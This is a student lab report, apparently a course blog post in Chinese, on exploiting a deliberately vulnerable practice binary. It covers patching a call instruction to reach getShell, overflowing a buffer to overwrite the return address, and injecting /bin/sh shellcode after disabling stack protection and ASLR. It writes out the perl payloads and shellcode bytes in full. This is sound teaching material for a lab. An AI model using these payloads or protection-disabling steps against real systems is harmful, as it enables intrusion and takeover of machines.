exp1 逆向与Bof基础实验报告

exp1 逆向与Bof基础实验报告


1 逆向及Bof基础实践说明

1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

  • 三个实践内容如下:
    • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    • 注入一个自己制作的shellcode并运行这段shellcode。
  • 这几种思路,基本代表现实情况中的攻击目标:
    • 运行原本不可访问的代码片段
    • 强行修改程序执行流
    • 以及注入运行任意代码。

1.2 基础知识

1.2.1 NOP, JNE, JE, JMP, CMP汇编指令的机器码

  • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90),实验中我们构造滑行区就是用的这个机器命令x90。
  • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
  • JE:条件转移指令,如果相等则跳转。(机器码:74)
  • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
  • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。机器码:(0x39 0x3C 0x83......)

1.2.2掌握反汇编与十六进制编程器

反汇编主要用的命令是objdump -d 目标文件 | more

十六进制编程器是wxHexEditor,可以进行十六进制的查看和相应修改,避免我们对vim编辑器的操作不熟悉导致的错误。

2 直接修改程序机器指令,改变程序执行流程

  • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

  • 学习目标:理解可执行文件与机器指令

  • 进阶:掌握ELF文件格式,掌握动态技术

下载目标文件pwn1,更改文件名为pwn20201312,然后objdump -d pwn20201312 | more反汇编。

一直按回车就会逐行显示更多信息,直到找到main的内容

  • 从上图可以看出,主函数会通过call调用位于地址08048491处的foo函数,其对应的机器指令为“e8 d7ffffff”,e8即跳转之意

  • 本来正常流程下,此时此刻EIP中存储的是下一条指令的地址,即80484ba,但如一解释e8这条指令,CPU就会转而执行 ”eip + d7ffffff“ 这个位置的指令。

  • EIP = 80484ba+fffffd7=8048491,即foo函数地址(注意d7ffffff是补码,小段优先,计算时应写为fffffd7)

  • 那我们想让它调用getShell,只要修改“d7ffffff”为 "getShell-80484ba"对应的补码就行

  • 由上图 可知,0804847d-80484ba=ffffffc3,所以要将call指令的目标地址由d7ffffff改为c3ffffff

    ──(20201312㉿xuzhengyi)-[~/Desktop]
    └─$ cp pwn20201312 pwn1312
    
    ┌──(20201312㉿xuzhengyi)-[~/Desktop]
    └─$ vi pwn1312
    
    进入pwn1312,
    1.在乱码界面按Esc键
    2.输入:%!xxd,切换为16进制
    3.找到e8d7,确认位置正确
    4.修改d7为c3(先按i进入编辑模式再改,改完按Esc键退出)
    5.输入:%!xxd -r,转换16进制为原格式
    6.输入:wq存盘退出
    

对pwn2反汇编,检验是否修改正确objdump -d pwn1312 | more

运行更改后的代码,会得到shell提示符,则我们已经成功修改了对应文件。原来的可执行文件的功能是输入一段字符串,程序会重复输出该字符串,现在我们的程序变成了打开一个“命令行”。我们执行了ls命令后,成功打印出了当前目录下的所有文件。执行whoami命令后,成功打印id


3 通过构造输入参数,造成BOF攻击,改变程序执行流

  • 知识要求:堆栈结构,返回地址

  • 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取

  • 进阶:掌握ELF文件格式,掌握动态技术

3.1 反汇编,了解程序的基本功能

对pwn20201312进行反汇编objdump -d pwn20201312 | more

我们的目标是触发getShell函数。该可执行文件正常运行是调用函数foo,这个函数有Buffer overflow漏洞。读入字符串时,系统只预留了_28_字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址 。

上面的call调用foo,同时在堆栈上压上返回地址值:(80484ba)

3.2 确认输入字符串哪几个字符会覆盖到返回地址

首先要在虚拟机上安装gdb,然后输入gdb pwn20201312进入界面

输入1111111122222222333333334444444455555555,可以看到EIP的值为0x35353535,也就是5555的ASCII码

如果输入字符串1111111122222222333333334444444412345678,发现EIP的值为0x34333231,即1234(小端)的ASCII码。那 1234 最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn20201312,pwn20201312就会运行getShell。

3.3 确认用什么值来覆盖返回地址

getShell的内存地址,通过反汇编时可以看到,即0804847d。

由1234对应0x34333231分析出应该是小端写法,所以我们应当输入

11111111222222223333333344444444\x7d\x84\x04\x08。

验证正确

3.4 构造输入字符串

由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。

(20201312㉿xuzhengyi)-[~/Desktop]
└─$ perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

关于Perl: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。

可以使用16进制查看指令xxd查看input文件的内容是否如预期。

┌──(20201312㉿xuzhengyi)-[~/Desktop]
└─$ xxd input
00000000: 3131 3131 3131 3131 3232 3232 3232 3232  1111111122222222
00000010: 3333 3333 3333 3333 3434 3434 3434 3434  3333333344444444
00000020: 7d84 0408 0a                             }....

然后将input的输入,通过管道符“|”,作为pwn20201312的输入。

如上图所示,获取了shell,攻击成功


4. 注入Shellcode并执行

4.1 准备一段Shellcode

  • shellcode就是一段机器指令(code)
    • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
    • 所以这段机器指令被称为shellcode。
    • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

本次实践使用的shellcode如下:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

4.2 准备工作

  • 通过execstack -s pwn20201312 指令来设置堆栈可执行

  • 再用 execstack -q pwn20201312指令查询文件的堆栈是否可执行

  • 通过more /proc/sys/kernel/randomize_va_space检查发现randomize_va_space为2,即地址随机化保护是开启的

  • 输入echo "0" > /proc/sys/kernel/randomize_va_space 关闭地址随机化

    (此处输入命令后报错,所以我输入sudo su切换为root用户继续实验)

  • 再次检查发现randomize_va_space为0,即地址随机化保护已关闭

4.3 构造要注入的payload。

  • Linux下有两种基本构造攻击buf的方法:

    • retaddr+nop+shellcode
    • nop+shellcode+retaddr。
  • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。

  • 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

  • 我们这个buf够放这个shellcode了,所以shellcode放后边

  • 结构为:retaddr+nop+shellcode。(因为提前把指导书浏览了一遍,所以避开了老师设的坑)

    • nop一为是了填充,二是作为“着陆区/滑行区”。
    • 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

打开两个终端,都进入root模式

  • 在终端1输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

  • 上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。(最后一个字符千万不能是\x0a。不然下面的操作就做不了了。)

  • 在终端1注入攻击buf``(cat input_shellcode;cat) | ./pwn20201312`,回车一次即可,不要出现指导书里的乱码

  • 打开终端2,用gdb来调试pwn20201312这个进程

    • 首先输入ps -ef | grep pwn20201312,发现我的进程号为42272

    • 随后启动gdb进行调试。先attach上该进程,随后设置断点。

  • 终端2执行到该位置时,在终端1中按下回车,此时终端1出现乱码

  • 终端2继续执行,看到 01020304了,就是返回地址的位置。shellcode就在后面,所以地址是 0xffffd440

  • 将 0xffffd440放进shellcode,输入perl -e 'print "A" x 32;print "\x40\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  • 输入xxd input_shellcode
  • 输入(cat input_shellcode;cat) | ./pwn20201312

运行后发现成功获取shell,攻击成功

4.4 结合nc模拟远程攻击

我使用的是自己的两个虚拟机,靶机为kali虚拟机(ip:192.168.233.136),攻击机为ubuntu(ip:192.168.233.128)

二者可以互相ping通

问题与解决

本次实验有老师提供的实验指导书和两位课题负责人的优秀案例作为参考,整体还是做得很顺利,中间就遇到了一个小问题如下:

问题:安装execstack命令时显示Unable to locate package execstack

解决:通过在CSDN上查阅资料,完美解决,参考链接如下

https://blog.csdn.net/weixin_43729943/article/details/104221462

实验总结与体会

这次是网络对抗的第一次实验,难度相对较低,做起来比较顺利,但是还是很考验细心程度(特别是寻找e8d7,眼睛都有点看花了才找到)。之前课程设计我选择的是缓冲区溢出攻击,所以在理解原理上面算有一点基础,不是那么困难,但是在实际操作上面还是不太熟练,原理运用还有待加强。另外有了参考确实在实验过程中思考就不够了,为了让实验达到真正的效果,我还得多花时间去琢磨每一步的原理,争取能脱离开指导书独立完成。

posted @ 2023-03-17 00:27  20201312许铮怡  阅读(43)  评论(0编辑  收藏  举报